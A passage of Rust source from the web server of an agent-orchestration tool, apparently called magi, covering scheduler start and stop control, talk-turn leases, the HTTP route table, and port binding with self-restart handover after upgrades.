930        let reading = daemon::read_status(&self.home);
931        if let Some(other) = Foreign::of(reading.as_ref()) {
932            return Err(ApiError::conflict(format!(
933                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
934                other.who()
935            )));
936        }
937        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
938        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
939        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
940            || reading.is_some_and(|reading| {
941                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
942            });
943        if control.is_some() && scheduler_running {
944            return Err(ApiError::conflict(
945                "the scheduler is still stopping; retry Start after it has stopped",
946            ));
947        }
948        if !jobs.iter().any(|job| job.kind == "scheduler") {
949            let available =
950                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
951            if available.is_none() {
952                return Err(ApiError::conflict(
953                    "the scheduler is still running or stopping; retry after its transition completes",
954                ));
955            }
956            drop(available);
957        }
958        let opts = daemon::Opts {
959            repo: self.repo.clone(),
960            merge: self.merge.clone(),
961            worktrees_root: Some(self.worktrees_root.clone()),
962            ..daemon::Opts::default()
963        };
964        daemon::spawn_detached(&self.home, &opts)
965            .await
966            .map_err(ApiError::from)?;
967        let mut state = self.lock_loop();
968        state.last_error = None;
969        state.rev += 1;
970        Ok(())
971    }
972
973    /// Start the loop in this process, or say who already has one.
974    ///
975    /// `foreign` is passed in rather than read here so that one request makes
976    /// one judgement about who owns the loop: reading the status file again
977    /// inside this function could refuse a start for a daemon the same
978    /// response then reports as gone.
979    #[cfg(test)]
980    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
981        if let Some(other) = foreign {
982            return Err(ApiError::conflict(format!(
983                "{} is already running the loop, so this one will not start a \
984                 second: two loops on one queue race for the same claims and \
985                 burn the agent quota twice over. Stop it where it was \
986                 started.",
987                other.who()
988            )));
989        }
990        let mut state = self.lock_loop();
991        if state.live.as_ref().is_some_and(Live::alive) {
992            return Err(ApiError::conflict(format!(
993                "this magi web process (pid {}) is already running the loop",
994                std::process::id()
995            )));
996        }
997
998        let stop = daemon::Stop::new();
999        // The CLI's own defaults for everything the UI has no opinion about:
1000        // one poll interval and one retry budget, so a loop started from a
1001        // phone behaves exactly like the `magi serve` it replaces.
1002        let opts = daemon::Opts {
1003            repo: self.repo.clone(),
1004            merge: self.merge.clone(),
1005            // Whatever this `Ui` already reports worktree sizes and folds
1006            // against (see `with_worktrees_root`) is what the loop it starts
1007            // must reclaim orphaned worktrees under too - two different
1008            // opinions about where the worktree bay is would leave the
1009            // janitor pass reclaiming a directory nothing else on this
1010            // process is even looking at.
1011            worktrees_root: Some(self.worktrees_root.clone()),
1012            ..daemon::Opts::default()
1013        };
1014        let launch = self.launch;
1015        let looping = Arc::clone(&self.looping);
1016        let handle = tokio::spawn({
1017            let opts = opts.clone();
1018            let stop = stop.clone();
1019            async move {
1020                let failure = match launch(opts, stop).await {
1021                    Ok(()) => None,
1022                    Err(e) => Some(format!("{e:#}")),
1023                };
1024                match &failure {
1025                    Some(why) => tracing::error!("the loop stopped: {why}"),
1026                    None => tracing::info!("the loop stopped"),
1027                }
1028                // Recorded by the task itself rather than reaped by whichever
1029                // request happens next, so `loop_rev` moves the moment the
1030                // loop ends and a phone with the change stream open learns
1031                // that it did. Clearing `live` drops this task's own handle,
1032                // which only detaches it, and is the last thing it does.
1033                let mut state = lock_or_recover(&looping);
1034                state.live = None;
1035                state.last_error = failure;
1036                state.rev += 1;
1037            }
1038        });
1039        tracing::info!(
1040            "the loop is now running in this process: repo {}, merge {}",
1041            opts.repo.display(),
1042            opts.merge.as_deref().unwrap_or("as the config says")
1043        );
1044        state.live = Some(Live { stop, handle, opts });
1045        // A fresh start is not the place to keep showing why the last one
1046        // died; the operator has read it and pressed the button anyway.
1047        state.last_error = None;
1048        state.rev += 1;
1049        Ok(())
1050    }
1051
1052    /// Ask the loop to stop, without waiting for it to get there.
1053    ///
1054    /// Idempotent: a second tap on stop is not an error, because the first one
1055    /// leaves the loop running for as long as the run in flight takes and the
1056    /// operator has no way to tell a slow stop from a lost one.
1057    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1058        if let Some(other) = foreign {
1059            return Err(ApiError::conflict(format!(
1060                "the loop belongs to {}, and this process cannot stop it - \
1061                 stop it where it was started. A button that silently did \
1062                 nothing would be worse than this refusal.",
1063                other.who()
1064            )));
1065        }
1066        #[cfg(not(test))]
1067        {
1068            daemon::request_control(
1069                &self.home,
1070                if park {
1071                    crate::worker::Control::Park
1072                } else {
1073                    crate::worker::Control::Stop
1074                },
1075            )
1076            .map_err(ApiError::from)?;
1077            self.lock_loop().rev += 1;
1078            Ok(())
1079        }
1080        #[cfg(test)]
1081        {
1082            let mut state = self.lock_loop();
1083            let Some(live) = state.live.as_ref() else {
1084                return Ok(());
1085            };
1086            // A park upgrades a stop that has already been asked for: the
1087            // operator who tapped "stop" and then realised the run has an hour
1088            // left must not have to restart the loop to change their mind.
1089            if live.stop.stopped() && (!park || live.stop.parking()) {
1090                return Ok(());
1091            }
1092            if park {
1093                live.stop.park(crate::run::ParkCause::Operator);
1094                tracing::info!(
1095                    "the loop was asked to park; the run stops at its next node boundary"
1096                );
1097            } else {
1098                live.stop.stop();
1099                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1100            }
1101            state.rev += 1;
1102            Ok(())
1103        }
1104    }
1105
1106    /// The loop as both `/api/loop` and `/api/health` report it.
1107    ///
1108    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1109    /// health answers with this view *and* the daemon object beside it: one
1110    /// read per response is what stops a single answer naming a foreign owner
1111    /// in one field and calling the loop free in the other.
1112    #[cfg(not(test))]
1113    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1114        let jobs = crate::worker::active(&self.home).map_err(|error| {
1115            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1116        })?;
1117        Ok(self.runtime_loop_view(reading, &jobs))
1118    }
1119
1120    #[cfg(test)]
1121    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1122        let state = self.lock_loop();
1123        // A loop that panicked never recorded its own end, so the handle -
1124        // not the presence of the record - is what "running" means.
1125        let live = state.live.as_ref().filter(|live| live.alive());
1126        LoopView {
1127            running: live.is_some(),
1128            stopping: live.is_some_and(|live| live.stop.finishing()),
1129            parking: live.is_some_and(|live| live.stop.parking()),
1130            owned: live.is_some(),
1131            repo: live
1132                .map_or(&self.repo, |live| &live.opts.repo)
1133                .display()
1134                .to_string(),
1135            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1136            last_error: state.last_error.clone(),
1137            daemon: DaemonView::of(reading),
1138        }
1139    }
1140
1141    /// Reuse one active-job snapshot for both ownership and public health.
1142    fn runtime_loop_view(
1143        &self,
1144        reading: Option<daemon::Reading>,
1145        jobs: &[crate::worker::Job],
1146    ) -> LoopView {
1147        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1148        let reporting = reading
1149            .as_ref()
1150            .is_some_and(|r| r.running(Timestamp::now()));
1151        let managed = scheduler.is_some()
1152            || (reporting
1153                && reading
1154                    .as_ref()
1155                    .is_some_and(|r| r.worker_protocol == Some(1)));
1156        let control = crate::worker::control(&self.home, "scheduler")
1157            .ok()
1158            .flatten();
1159        // Foreground serve also persists its options, so ownership never
1160        // causes us to substitute the web process's repository for its own.
1161        let persisted = if managed && scheduler.is_none() {
1162            std::fs::read(self.home.join("scheduler-options.json"))
1163                .ok()
1164                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1165        } else {
1166            None
1167        };
1168        let repo = scheduler
1169            .and_then(|job| job.payload.get("repo"))
1170            .and_then(serde_json::Value::as_str)
1171            .map(str::to_owned)
1172            .or_else(|| {
1173                persisted
1174                    .as_ref()
1175                    .map(|opts| opts.repo.display().to_string())
1176            })
1177            .unwrap_or_else(|| self.repo.display().to_string());
1178        let merge = match scheduler {
1179            Some(job) => job
1180                .payload
1181                .get("merge")
1182                .and_then(serde_json::Value::as_str)
1183                .map(str::to_owned),
1184            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1185        };
1186        LoopView {
1187            running: managed || reporting,
1188            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1189            parking: matches!(control, Some(crate::worker::Control::Park))
1190                && jobs.iter().any(|job| job.kind == "task"),
1191            owned: managed,
1192            repo,
1193            merge,
1194            last_error: self.lock_loop().last_error.clone(),
1195            daemon: DaemonView::of(reading),
1196        }
1197    }
1198
1199    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1200    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1201        lock_or_recover(&self.looping)
1202    }
1203
1204    /// In-flight admission, detached startup, or a cross-process turn lease.
1205    fn is_thinking(&self, id: &str) -> bool {
1206        self.talk_turns
1207            .lock()
1208            .is_ok_and(|turns| turns.live.contains(id))
1209            // Another process (the CLI) can hold the turn through the
1210            // on-disk lease.
1211            || self.talks.turn_held(id)
1212            || crate::consult::turn_worker_active(&self.talks, id)
1213    }
1214
1215    /// Claim the right to run one turn in a talk, or report that it is busy.
1216    ///
1217    /// A talk is strictly turn-based: the agent is resumed with the
1218    /// conversation it already has, so two turns running at once would resume
1219    /// the same session twice and append their answers in whatever order the
1220    /// two CLIs finished in. The operator would come back to a transcript
1221    /// with two half-turns interleaved, which is unreadable and, worse,
1222    /// unfixable - there is no undo for a persisted turn.
1223    ///
1224    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1225    /// starting a second CLI invocation for the same session.
1226    ///
1227    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1228    /// taken to test-and-insert and released before the agent is spawned. The
1229    /// returned guard removes the id on drop, which is what makes a panicking
1230    /// handler or a phone that walks out of range leave the talk usable - axum
1231    /// drops the handler future when the client disconnects, and without the
1232    /// guard that talk would be wedged until the server restarted.
1233    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1234        self.claim_talk_turn(id, false)
1235    }
1236
1237    /// Claim a turn after durably queueing a draft, or notify its current
1238    /// owner that a drainer must recheck before it releases the slot.
1239    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1240        self.claim_talk_turn(id, true)
1241    }
1242
1243    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1244        let mut live = self
1245            .talk_turns
1246            .lock()
1247            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1248        if crate::consult::turn_worker_active(&self.talks, id) {
1249            if queued {
1250                *live.queued.entry(id.to_owned()).or_default() += 1;
1251            }
1252            return Ok(None);
1253        }
1254        let inserted = live.live.insert(id.to_owned());
1255        // The on-disk lease is the cross-process half of the gate. Taken
1256        // second, and undone if lost, so `live` never claims a turn the lease
1257        // refused.
1258        let lease = if inserted {
1259            match self.talks.claim_turn(id) {
1260                Ok(Some(lease)) => Some(lease),
1261                Ok(None) => {
1262                    live.live.remove(id);
1263                    None
1264                }
1265                Err(e) => {
1266                    live.live.remove(id);
1267                    return Err(ApiError::from(e));
1268                }
1269            }
1270        } else {
1271            None
1272        };
1273        if lease.is_none() {
1274            if queued {
1275                // A queued write has landed before this busy check.
1276                // `drain_loop` uses this generation to recheck after its
1277                // off-thread disk read, so it cannot release a turn between
1278                // this check and the write.
1279                *live.queued.entry(id.to_owned()).or_default() += 1;
1280            }
1281            return Ok(None);
1282        }
1283        Ok(Some(TalkTurnGuard {
1284            talk: id.to_owned(),
1285            turns: Arc::clone(&self.talk_turns),
1286            released: false,
1287            lease,
1288        }))
1289    }
1290
1291    /// Decide whether a free talk may start a new immediate turn while its
1292    /// claim lock is held. A persisted draft without an owner is recovery
1293    /// state, not a busy turn: two simultaneous `/say` requests must both
1294    /// leave it untouched rather than one of them appending to it.
1295    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1296        let mut live = self
1297            .talk_turns
1298            .lock()
1299            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1300        // A detached worker owns its turn across web process replacement.
1301        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1302            return Ok(TalkTurnStart::Busy);
1303        }
1304        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1305            return Ok(TalkTurnStart::Foreign);
1306        };
1307        // A refused `Pending` below drops the lease again.
1308        let talk = self.talks.get(id).map_err(ApiError::from)?;
1309        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1310            return Ok(TalkTurnStart::Pending);
1311        }
1312        live.live.insert(id.to_owned());
1313        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1314            talk: id.to_owned(),
1315            turns: Arc::clone(&self.talk_turns),
1316            released: false,
1317            lease: Some(lease),
1318        }))
1319    }
1320
1321    fn queued_generation(&self, id: &str) -> u64 {
1322        let live = self
1323            .talk_turns
1324            .lock()
1325            .unwrap_or_else(PoisonError::into_inner);
1326        live.queued.get(id).copied().unwrap_or(0)
1327    }
1328
1329    /// Claim a run for a resume, on the same reasoning as
1330    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1331    /// disconnected phone does not wedge the run until the server restarts.
1332    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1333        let mut live = self
1334            .resuming
1335            .lock()
1336            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1337        if !live.insert(id.to_owned()) {
1338            return Err(ApiError::conflict(format!(
1339                "run {id} is already being resumed"
1340            )));
1341        }
1342        Ok(ResumeGuard {
1343            run: id.to_owned(),
1344            resuming: Arc::clone(&self.resuming),
1345        })
1346    }
1347
1348    /// The router, with this state baked in.
1349    ///
1350    /// The three front-end files get one explicit route each rather than a
1351    /// path parameter, so there is no traversal surface to get wrong: the set
1352    /// of servable paths is the set written here. The asset route below is the
1353    /// one exception and the only place in this server where a client names a
1354    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1355    pub fn router(self) -> Router {
1356        Router::new()
1357            .route("/", get(index))
1358            .route("/app.css", get(app_css))
1359            .route("/app.js", get(app_js))
1360            .route("/api/health", get(health))
1361            .route("/api/references", post(id_links::resolve_text))
1362            .route("/api/loop", get(loop_get).post(loop_post))
1363            .route("/api/upgrade", post(upgrade_post))
1364            .route("/api/runs", get(runs_list))
1365            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1366            .route("/api/runs/{id}/core", get(run_core))
1367            .route("/api/runs/{id}/report", get(run_report))
1368            .route("/api/runs/{id}/report.json", get(run_report_json))
1369            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1370            .route("/api/runs/{id}/fold", post(run_fold))
1371            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1372            .route("/api/runs/{id}/resume", post(run_resume))
1373            .route("/api/queue", get(queue_list))
1374            .route("/api/queue/page", get(queue_page))
1375            .route("/api/search", get(search_get))
1376            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1377            .route("/api/queue/{id}/core", get(task_core))
1378            .route("/api/stats", get(stats_get))
1379            .route("/api/stats/queue", get(stats_queue))
1380            .route("/api/repos", get(repos_list))
1381            .route("/api/settings", get(settings_get))
1382            .route("/api/settings/roles", put(settings_put_roles))
1383            .route("/api/queue/{id}/hold", post(queue_hold))
1384            .route("/api/queue/{id}/release", post(queue_release))
1385            .route("/api/queue/{id}/priority", post(queue_priority))
1386            .route("/api/queue/{id}/urgent", post(queue_urgent))
1387            .route("/api/queue/{id}/implementers", post(queue_implementers))
1388            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1389            .route("/api/queue/{id}/edit", post(queue_edit))
1390            .route("/api/queue/{id}/done", post(queue_done))
1391            .route("/api/questions", get(questions_list))
1392            .route("/api/questions/core", get(questions_core))
1393            .route("/api/questions/origins", get(question_origins))
1394            .route("/api/questions/{id}/answer", post(question_answer))
1395            .route("/api/questions/{id}/say", post(question_say))
1396            .route("/api/questions/{id}/consult", post(question_consult))
1397            .route("/api/questions/{id}/panel", get(question_panel))
1398            // The same asset, reachable from inside the panel by its bare
1399            // filename. A document served at `.../panel` resolves `shot.png`
1400            // to `.../shot.png`, which is not the asset route, so a panel
1401            // written the way its author was told to write it showed broken
1402            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1403            // it - deliberately - so the fix is that the panel's own URL ends
1404            // in a filename and its siblings are the assets.
1405            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1406            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1407            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1408            .route("/api/notifications", get(notifications_list))
1409            .route("/api/notifications/read-all", post(notifications_read_all))
1410            .route("/api/notifications/{id}/read", post(notification_read))
1411            .route(
1412                "/api/notifications/{id}/dismiss",
1413                post(notification_dismiss),
1414            )
1415            .route("/api/talks", get(talks_list).post(talk_post))
1416            .route("/api/talks/page", get(talks_page))
1417            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1418            .route("/api/talks/{id}/core", get(talk_core))
1419            .route("/api/talks/{id}/sections", get(talk_sections))
1420            .route("/api/talks/{id}/say", post(talk_say))
1421            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1422            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1423            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1424            .route("/api/talks/{id}/agent", post(talk_agent))
1425            .route("/api/talks/{id}/persona", post(talk_persona))
1426            .route("/api/talks/{id}/implementers", post(talk_implementers))
1427            .route("/api/talks/{id}/close", post(talk_close))
1428            .route("/api/talks/{id}/reopen", post(talk_reopen))
1429            // `DefaultBodyLimit` is raised only on this one route - every
1430            // other route on this server answers in a few kilobytes, and
1431            // widening the crate-wide default for all of them just because
1432            // one accepts a picture would let any other handler be handed
1433            // a multi-megabyte body it never expects.
1434            .route(
1435                "/api/talks/{id}/attachments",
1436                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1437            )
1438            .route(
1439                "/api/talks/{id}/attachments/{att}",
1440                get(talk_attachment_get),
1441            )
1442            .route("/api/talks/{id}/avatar", get(talk_avatar))
1443            .route("/avatars/operator.svg", get(operator_avatar))
1444            .route(
1445                "/api/avatar-settings",
1446                get(avatar_settings_get)
1447                    .put(avatar_settings_put)
1448                    .delete(avatar_settings_delete),
1449            )
1450            .route("/avatars/persona", get(settings_persona_avatar))
1451            .route("/avatars/magi", get(magi_avatar))
1452            .route(
1453                "/api/magi-icon",
1454                get(magi_icon_get)
1455                    .put(magi_icon_put)
1456                    .delete(magi_icon_delete),
1457            )
1458            .route("/api/events", get(events))
1459            .with_state(Arc::new(self))
1460    }
1461}
1462
1463/// One talk's turn slot, released on drop.
1464///
1465/// A guard rather than a matching `remove` at the end of the handler, because
1466/// the handler has several early returns and one `await` that can be cancelled
1467/// out from under it. A leaked id is a talk nobody can talk to again.
1468#[derive(Debug)]
1469struct TalkTurnGuard {
1470    talk: String,
1471    turns: Arc<Mutex<TalkTurns>>,
1472    released: bool,
1473    /// The cross-process half of the slot; dropped with the guard.
1474    lease: Option<crate::talk::TurnLease>,
1475}
1476
1477/// In-memory turn ownership plus the queue generation observed by a drainer.
1478///
1479/// The generation changes only after a durable queued draft is written and its
1480/// caller finds the turn busy. That lets the loop run filesystem work outside
1481/// this mutex while still making the final empty-check/release atomic with a
1482/// concurrent queue handoff.
1483#[derive(Debug, Default)]
1484struct TalkTurns {
1485    live: HashSet<String>,
1486    queued: HashMap<String, u64>,
1487}
1488
1489/// The atomic initial-state decision made by
1490/// [`Ui::begin_talk_turn_unless_pending`].
1491enum TalkTurnStart {
1492    Claimed(TalkTurnGuard),
1493    Busy,
1494    /// Another process holds the turn lease. Unlike `Busy` there is no local
1495    /// drain loop that would answer a queued draft, so the caller refuses.
1496    Foreign,
1497    Pending,
1498}
1499
1500impl TalkTurnGuard {
1501    #[cfg(test)]
1502    /// Does this guard still own the on-disk lease? A transient failure to
1503    /// check counts as owning: the next beat decides. A guard that lost it
1504    /// must not start another turn on the same session.
1505    fn owns(&self) -> bool {
1506        self.lease
1507            .as_ref()
1508            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1509    }
1510
1511    #[cfg(test)]
1512    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1513    /// than the lease's TTL still reads as held to other processes.
1514    async fn respond(
1515        &self,
1516        talk: &mut Talk,
1517        talks: &Talks,
1518        cfg: &Config,
1519        text: &str,
1520    ) -> anyhow::Result<()> {
1521        let lease = self
1522            .lease
1523            .as_ref()
1524            .context("the turn guard no longer holds its lease")?;
1525        talk::respond(lease, talk, talks, cfg, text).await
1526    }
1527
1528    /// Release while the caller already holds the claim mutex, closing the
1529    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1530    fn release(mut self, live: &mut TalkTurns) {
1531        // The on-disk lease goes first: while `live` still names the talk, no
1532        // local claim can start, so nobody observes the slot free but the
1533        // lease held.
1534        self.lease = None;
1535        live.live.remove(&self.talk);
1536        live.queued.remove(&self.talk);
1537        self.released = true;
1538    }
1539}
1540
1541impl Drop for TalkTurnGuard {
1542    fn drop(&mut self) {
1543        if self.released {
1544            return;
1545        }
1546        // Lease first, then the in-process slot (see `release`).
1547        drop(self.lease.take());
1548        if let Ok(mut live) = self.turns.lock() {
1549            live.live.remove(&self.talk);
1550            live.queued.remove(&self.talk);
1551        }
1552    }
1553}
1554
1555/// Releases a resume claim, so a run is resumable again after the attempt.
1556struct ResumeGuard {
1557    run: String,
1558    resuming: Arc<Mutex<HashSet<String>>>,
1559}
1560
1561impl Drop for ResumeGuard {
1562    fn drop(&mut self) {
1563        if let Ok(mut live) = self.resuming.lock() {
1564            live.remove(&self.run);
1565        }
1566    }
1567}
1568
1569/// Bind the port, waiting briefly for a predecessor to let go of it.
1570///
1571/// A restart hands the address from one process to the next, and the old one
1572/// holds its listener until it unwinds. A single `bind` can lose that race,
1573/// and for a restart triggered from a phone that means the deck never comes
1574/// back with no terminal around to say why.
1575///
1576/// Bounded, and only for the one error a wait can fix: anything else fails at
1577/// once, because retrying it would turn a clear message into a silence.
1578async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1579    const WINDOW: Duration = Duration::from_secs(10);
1580    const GAP: Duration = Duration::from_millis(250);
1581
1582    let deadline = std::time::Instant::now() + WINDOW;
1583    let mut said = false;
1584    loop {
1585        match tokio::net::TcpListener::bind(socket).await {
1586            Ok(listener) => return Ok(listener),
1587            Err(e)
1588                if e.kind() == std::io::ErrorKind::AddrInUse
1589                    && std::time::Instant::now() < deadline =>
1590            {
1591                if !said {
1592                    said = true;
1593                    tracing::info!(
1594                        "{socket} is still held - waiting up to {}s for it, \
1595                         which is what a restart looks like from here",
1596                        WINDOW.as_secs()
1597                    );
1598                }
1599                tokio::time::sleep(GAP).await;
1600            }
1601            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1602        }
1603    }
1604}
1605
1606/// Signalled when an upgrade has replaced the binary and the successor should
1607/// take this address over. One per process: there is one address to hand on.
1608static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1609
1610/// Set to `1` on the successor when the loop was running at handover.
1611const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1612/// Keep a dynamically assigned listener address stable across replacement.
1613const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1614
1615/// Whether the environment value asks for the loop to be resumed.
1616fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1617    value.is_some_and(|v| v == "1")
1618}
1619
1620/// Start this binary again with the same arguments, detached.
1621///
1622/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1623/// so the address is already free when the successor binds it. The first
1624/// attempt at this spawned the successor two hundred milliseconds before
1625/// exiting instead, and the released binary - which has no bind retry - died
1626/// on "address already in use" with its stdio sent to null, so the deck
1627/// simply never came back.
1628///
1629/// Detached and without inherited stdio: the successor has to outlive this
1630/// process, and must not hold open a pipe a terminal is waiting on.
1631///
1632/// The scheduler is restarted separately; execution workers are not awaited.
1633///
1634/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1635/// than sent to null: a supervisor's redirection only ever held the first
1636/// generation's descriptors, so every later generation logged nowhere. The
1637/// pid of the child is returned so the handover log can name it.
1638fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1639    let args: Vec<String> = std::env::args().skip(1).collect();
1640    updater::log_step(
1641        home,
1642        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1643    );
1644    let log_path = home.join(WEB_LOG);
1645    let open_log = || {
1646        std::fs::create_dir_all(home)?;
1647        std::fs::OpenOptions::new()
1648            .create(true)
1649            .append(true)
1650            .open(&log_path)
1651    };
1652    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1653        Ok(pair) => (
1654            std::process::Stdio::from(pair.0),
1655            std::process::Stdio::from(pair.1),
1656        ),
1657        Err(e) => {
1658            updater::log_warn(
1659                home,
1660                &format!(
1661                    "could not open {}: {e}; the successor logs nowhere",
1662                    log_path.display()
1663                ),
1664            );
1665            (std::process::Stdio::null(), std::process::Stdio::null())
1666        }
1667    };
1668
1669    let mut cmd = std::process::Command::new(exe);
1670    cmd.env_remove(RESUME_LOOP_ENV);
1671    cmd.env(RESTART_PORT_ENV, port.to_string());
1672    cmd.args(&args)
1673        .stdin(std::process::Stdio::null())
1674        .stdout(out)
1675        .stderr(err);
1676    #[cfg(windows)]
1677    {
1678        use std::os::windows::process::CommandExt as _;
1679        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1680        // and Ctrl-C in the old terminal must not reach the successor.
1681        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1682    }
1683    let child = cmd.spawn().context("start the successor")?;
1684    Ok(child.id())
1685}
1686
1687/// File under `<home>` the successor's output is appended to.
1688const WEB_LOG: &str = "web.log";
1689
1690/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1691/// stored by an earlier `notify_one` is consumed by the first poll, so the
1692/// signal is never missed and never wakes a second time.
1693async fn wait_for_handover(signal: &Notify) {
1694    signal.notified().await;
1695}
1696
1697/// Serve the UI independently from scheduler and execution workers.
1698/// A restart releases its listener before starting the successor.
1699pub async fn serve(opts: Opts) -> Result<()> {
1700    // Capture before self-replacement: current_exe may later name a removed
1701    // image on Linux or the renamed old image on Windows.
1702    crate::worker::remember_current_executable()?;
1703    let executable = std::env::current_exe().context("find the installed web executable")?;
1704    let (addr, warning) = resolve_bind(&opts.bind);
1705    if let Some(warning) = warning {
1706        tracing::warn!("{warning}");
1707    }
1708
1709    // Process-global, and therefore set exactly once, here: the report route
1710    // must never emit escape sequences into a browser, and toggling the flag
1711    // per request would race with a concurrent request rendering its own
1712    // report. Startup is the only moment at which no request can observe the
1713    // change. Nothing in the server turns colour back on.
1714    report::set_color(false);
1715
1716    let repo = normalize_default_repo(opts.repo).await;
1717    let ui = Ui::open(repo).with_merge(opts.merge);
1718    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1719    // home to bracket the parking and restarting stages, and `run_update_recheck`
1720    // needs both it and the repo, and by then there is no `ui` left to read
1721    // them from.
1722    let home = ui.home.clone();
1723    let repo = ui.repo.clone();
1724    let admissions = Arc::clone(&ui.admissions);
1725    // Settles a progress record a predecessor left non-terminal - either this
1726    // *is* the successor `spawn_successor` started, or the previous process
1727    // died mid-handover. Before the router starts answering, so the very
1728    // first `/api/health` a phone gets from this process already reflects it.
1729    updater::reconcile_after_restart(&home);
1730    updater::log_step(
1731        &home,
1732        &format!(
1733            "web process started (version {}); handover log {}, successor output {}",
1734            env!("CARGO_PKG_VERSION"),
1735            updater::log_path(&home).display(),
1736            home.join(WEB_LOG).display()
1737        ),
1738    );
1739    updater::spawn_watchdog(home.clone());
1740    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1741    // `spawn_update_check` does at startup only ever runs once: after that,
1742    // `/api/health`'s `update` field - and the phone's "Update & restart"
1743    // button, which reads the very same cache - would stay frozen on
1744    // whatever that single check found, no matter how many releases ship
1745    // afterwards. This keeps it current instead. Detached: it must keep
1746    // going for as long as this process serves, `serve` has nothing to await
1747    // it for, and it exits on its own the moment the process does.
1748    tokio::spawn(run_update_recheck(repo, home.clone()));
1749    let port = if opts.port == 0 {
1750        std::env::var(RESTART_PORT_ENV)
1751            .ok()
1752            .and_then(|value| value.parse::<u16>().ok())
1753            .filter(|port| *port != 0)
1754            .unwrap_or(0)
1755    } else {
1756        opts.port
1757    };
1758    let socket = SocketAddr::new(addr, port);
1759    let listener = bind_waiting(socket).await?;
1760    let bound = listener.local_addr().context("read bound web address")?;
1761    let port = bound.port();
1762    let url = format!("http://{bound}");
1763    tracing::info!(
1764        "magi web UI on {url} - there is no authentication, so anyone who can \
1765         reach this address can file and hold tasks: the tailnet is the \
1766         security boundary"
1767    );
1768    // A legacy predecessor may request first-migration scheduler startup.
1769    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1770        ui.start_detached_loop()
1771            .await
1772            .map_err(|e| anyhow::anyhow!(e.message))?;
1773    }
1774    if opts.open {
1775        // The URL alone on stdout, for a caller that wants to open it. magi
1776        // does not spawn a browser: on the machine this usually runs on there
1777        // is no display, and a failed launch would be the only output.
1778        println!("{url}");
1779    }
1780
1781    // On its own task, so nothing this function awaits can stop the address
1782    // being answered. `hand_over` is where it is given up.
1783    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1784    let interrupted = async {
1785        if tokio::signal::ctrl_c().await.is_err() {
